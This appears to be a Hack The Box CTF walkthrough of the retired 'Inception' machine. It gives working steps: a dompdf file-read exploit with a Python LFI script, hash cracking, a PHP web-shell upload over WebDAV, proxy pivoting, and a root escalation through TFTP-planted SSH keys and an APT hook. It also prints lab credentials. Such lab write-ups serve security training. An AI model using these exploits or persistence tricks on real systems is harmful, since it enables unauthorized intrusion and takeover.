Hack the Box – Inception Walkthrough

Today we’re going to solve another CTF machine “Inception”. It is now retired box and can be accessible if you’re a VIP member.
Introduction
Specifications
- Target OS: Linux
- Services: HTTP, HTTP Proxy Squid
- IP Address: 10.10.10.67
- Difficulty: Hard
Weakness
- Bypassing restrictive network filtering
- dompdf exploitation
- Reuse of password
Contents
- Getting user
- Getting root
Reconnaissance
As always, the first step consists of reconnaissance phase as port scanning.
Ports Scanning
During this step we’re gonna identify the target to see what we have behind the IP Address.
Since, we have two ports opened one is “Squid http proxy” and “Apache” let’s enumerate both.
Enumerate Squid HTTP Proxy
I don’t really know what’s the purpose of Squid http proxy here on the box. So let’s find out by doing some Google research.
We found an msf module “use auxiliary/scanner/http/squid_pivot_scanning” after reading the description we found that it can be helpful for internal port scan of the network.
Let’s get started!
Great! we see SSH is opened indeed but don’t really know the password of it, we’ll leave it here for now and continue enumerating further.
We also have apache running so after browsing we got.
We start gathering information manually first to check some initial things such as checking page source code or enumerating directories robots.txt etc..
curl 10.10.10.67
We found a comment left by a developer <!– Todo: test dompdf on php 7.x –>
We have two keywords test and dompdf by assuming this could be directories we tested and found dompdf an actual directory.
After navigating through some directories we found nothing so after that i some Google research about dompdf i found out that it’s an “HTML to PDF converter” then i ran searchsploit and found 3 exploits and version 0.6.0.
And inside /dompdf directory we have VERSION file and it’s 0.6.0.
And we found our exploit “dompdf 0.6.0 – ‘dompdf.php’ ‘read’ Parameter Arbitrary File Read” now let’s test it.
searchsploit dompdf -m php/webapps/33004.txt .
This is an example URL
http://example/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=<PATH_TO_THE_FILE>
If we take a look we have convert.base64-encode parameter so we can expect our output encoded let’s test with /etc/passwd file.
http://10.10.10.67/dompdf/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=/etc/passwd
If you browse this URL it will download PDF but to be quick we can use curl instead.
Since we have base64 encoded we can easily decode it by using this command below.
base64 -di passwd.txt > decoded.txt
And we have this uncommon user cobb:x:1000:1000::/home/cobb:/bin/bash so this will be our primarily target.
Since we can’t do much with this exploit but we can look around some interesting files such as virtual hosts default file.
http://10.10.10.67/dompdf/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=/etc/apache2/sites-enabled/000-default.conf
By doing this manually takes time so let’s create a python script first.
#!/usr/bin/env python3 import base64 import urllib.request import argparse parser = argparse.ArgumentParser() parser.add_argument("file") args = parser.parse_args() url = 'http://10.10.10.67/dompdf/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=' try: req = urllib.request.urlopen(url + args.file) output = req.read() if output: string = output.decode() result = string[string.find("[(")+2:string.find(")]")] decoded = base64.b64decode(result).decode('utf8') print(decoded) except urllib.error.HTTPError: print("File cannot be downloaded")
We can simply use this script and use file as a parameter.
python3 lfi.py /etc/passwd
Now after checking some default files we come to know that inside apache default host file. we have a hidden directory. which maybe wasn’t possible for any directory enumerating tool to find.
python3 lfi.py /etc/apache2/sites-available/000-default.conf
AuthUserFile /var/www/html/webdav_test_inception/webdav.passwd
If you browse this file it asks for credentials. which we don’t have yet! but we have read access through LFI exploit 🙂
Now that we have found our creds it’s encrypted in md5.
webdav_tester:$apr1$8rO7Smi4$yqn7H.GvJFtsTou1a7VME0
Let’s crack this md5 hash.
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
And we got the password babygurl69
And now we have our username webdav_tester
and the password babygurl69
.
Using the previously obtained credentials, it is possible to log into the webdav instance at
/webdav_test_inception, however, it returns 403 forbidden. Using the same credentials, it is
possible to upload a PHP script to the WebDAV directory to obtain remote code execution. This
can be achieved multiple different ways, however, using cURL is likely the easiest.
curl --upload-file phpbash.php -u webdav_tester:babygurl69 http://10.10.10.67/webdav_test_inception/
Since we can’t get any reverse shell instead we’re gonna upload a shell and operate through the URL.
After navigating around some directories we found a wordpress_4.8.3 directory but we don’t permit for reading. but you remember we can read the wp-config.php file through reading access through LFI exploit.
python3 lfi.py /var/www/html/wordpress_4.8.3/wp-config.php | grep DB
DB_NAME, wordpress DB_USER, root DB_PASSWORD, VwPddNh7xMZyDQoByQL4 DB_HOST, localhost
So, now that we have found the MYSQL password but we don’t really know the purpose of it right now! but we can assume this could be the repeated password for SSH.
If you remember we found an SSH port opened through an internal scan but don’t really know how to connect to it. let’s figure it out together.
After doing some Google search I found a simple method to tunnel through proxy by adding the squid proxy to /etc/proxychains.conf.
http 10.10.10.67 3128
After adding that line to the bottom of proxychains.conf let’s try connecting now!
proxychains ssh [email protected]
Privilege Escalation
Now, that we have found user access we’re going after the root.txt flag now. We can gather information by running enumeration scripts. but before that, we should do some research manually.
I did sudo -l and got this output.
[email protected]:~$ sudo -l [sudo] password for cobb: Matching Defaults entries for cobb on Inception: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User cobb may run the following commands on Inception: (ALL : ALL) ALL
Since we have permission to run sudo we can easily su to root.
This is what we got instead of our flag.
“You’re waiting for a train. A train that will take you far away. Wake up to find root.txt.”
I thought maybe it’s renamed to something else or maybe it’s hidden somewhere but unfortunately no luck. Now it’s time to run enumerating script! When I did wget them I noticed something strange.
Then I noticed we’re on a different machine here! Now we have to enumerate more.
If we check netstat -ant we have something interesting.
[email protected]:~$ netstat -ant Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:38592 127.0.1.1:22 ESTABLISHED tcp 0 0 127.0.1.1:22 127.0.0.1:38592 ESTABLISHED tcp6 0 0 :::80 :::* LISTEN tcp6 0 0 :::22 :::* LISTEN tcp6 0 0 :::3128 :::* LISTEN tcp6 0 772 192.168.0.10:3128 192.168.0.1:50256 ESTABLISHED
We see another IP address, 192.168.0.1
that is connected to the squid port on the box we are currently on.
Also if you do!
[email protected]:~$ cat /etc/network/interfaces # This file describes the network interfaces available on your system # and how to activate them. For more information, see interfaces(5). # The loopback network interface auto lo iface lo inet loopback auto eth0 iface eth0 inet static address 192.168.0.10 netmask 255.255.255.0 gateway 192.168.0.1 dns-nameservers 192.168.0.1
192.168.0.1 is our gateway it says! Let’s find out more about it.
We can use nc to port scan.
[email protected]:~$ nc -zv 192.168.0.1 1-65535 &> results && cat results | grep succeeded Connection to 192.168.0.1 21 port [tcp/ftp] succeeded! Connection to 192.168.0.1 22 port [tcp/ssh] succeeded! Connection to 192.168.0.1 53 port [tcp/domain] succeeded!
It’s interesting we found these ports.
Scan UDP ports using NC
[email protected]:~$ nc -zvu 192.168.0.1 1-100 2>&1 | grep -v "refused" Connection to 192.168.0.1 53 port [udp/domain] succeeded! Connection to 192.168.0.1 67 port [udp/bootps] succeeded! Connection to 192.168.0.1 69 port [udp/tftp] succeeded!
We can successfully connect to FTP using anonymous:anonymous login.
We are also able to download most files, but we are not able to put anything on the system through FTP. Now we don’t have much freedom here instead we’re limited to enumerating manually.
Inside /etc directory we have some interesting files.
[email protected]:~# ftp 192.168.0.1 Connected to 192.168.0.1. 220 (vsFTPd 3.0.3) Name (192.168.0.1:cobb): anonymous 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files.
tftp:x:112:119:tftp daemon,,,:/var/lib/tftpboot:/bin/false
# /etc/crontab: system-wide crontab # Unlike any other crontab you don't have to run the `crontab' # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # that none of the other crontabs do. SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin # m h dom mon dow user command 17 * * * * root cd / && run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) 47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly ) 52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly ) */5 * * * * root apt update 2>&1 >/var/log/apt/custom.log 30 23 * * * root apt upgrade -y 2>&1 >/dev/null
# /etc/default/tftpd-hpa TFTP_USERNAME="root" TFTP_DIRECTORY="/" TFTP_ADDRESS=":69" TFTP_OPTIONS="--secure --create"
We can see apt update command is running every 5 minutes.
Now, read this: https://www.cyberciti.biz/faq/debian-ubuntu-linux-hook-a-script-command-to-apt-get-upgrade-command/
Let’s create our SSH key first.
[email protected]:/home/cobb# ssh-keygen Generating public/private rsa key pair. Enter file in which to save the key (/root/.ssh/id_rsa): Created directory '/root/.ssh'. Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /root/.ssh/id_rsa. Your public key has been saved in /root/.ssh/id_rsa.pub. The key fingerprint is: SHA256:+UseOQ+gshE8fZ/Lb0GFRFrdHm/WuQtPWWKXNll0HFE [email protected] The key's randomart image is: +---[RSA 2048]----+ | o+o *E| | o. o.=| | . . .O| | . . . . o*O| | + . S . ..==| | o o + o.. + | | o . X .+ .| | + + B. o | | . =oo | +----[SHA256]-----+
Now we have to upload our public key using tftp.
tftp 192.168.0.1
cd /root/.ssh tftp 192.168.0.1 put id_rsa.pub /root/.ssh/authorized_keys
Success! Now we will need chmod
the permissions on the file, otherwise, it will be ignored by SSH. Let’s set up our apt command file with the following:
[email protected]:~# echo 'APT::Update::Pre-Invoke {"chmod 600 /root/.ssh/authorized_keys"};' > shell [email protected]:~# ls root.txt shell [email protected]:~# tftp 192.168.0.1 tftp> put shell /etc/apt/apt.conf.d/shell Sent 67 bytes in 0.0 seconds tftp> quit
We have to wait since it’s running every 5 minutes.
[email protected]:~# ssh [email protected] Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.4.0-101-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage 0 packages can be updated. 0 updates are security updates. Last login: Thu Nov 30 20:04:21 2017 [email protected]:~#
Done! 🙂 We’re root now!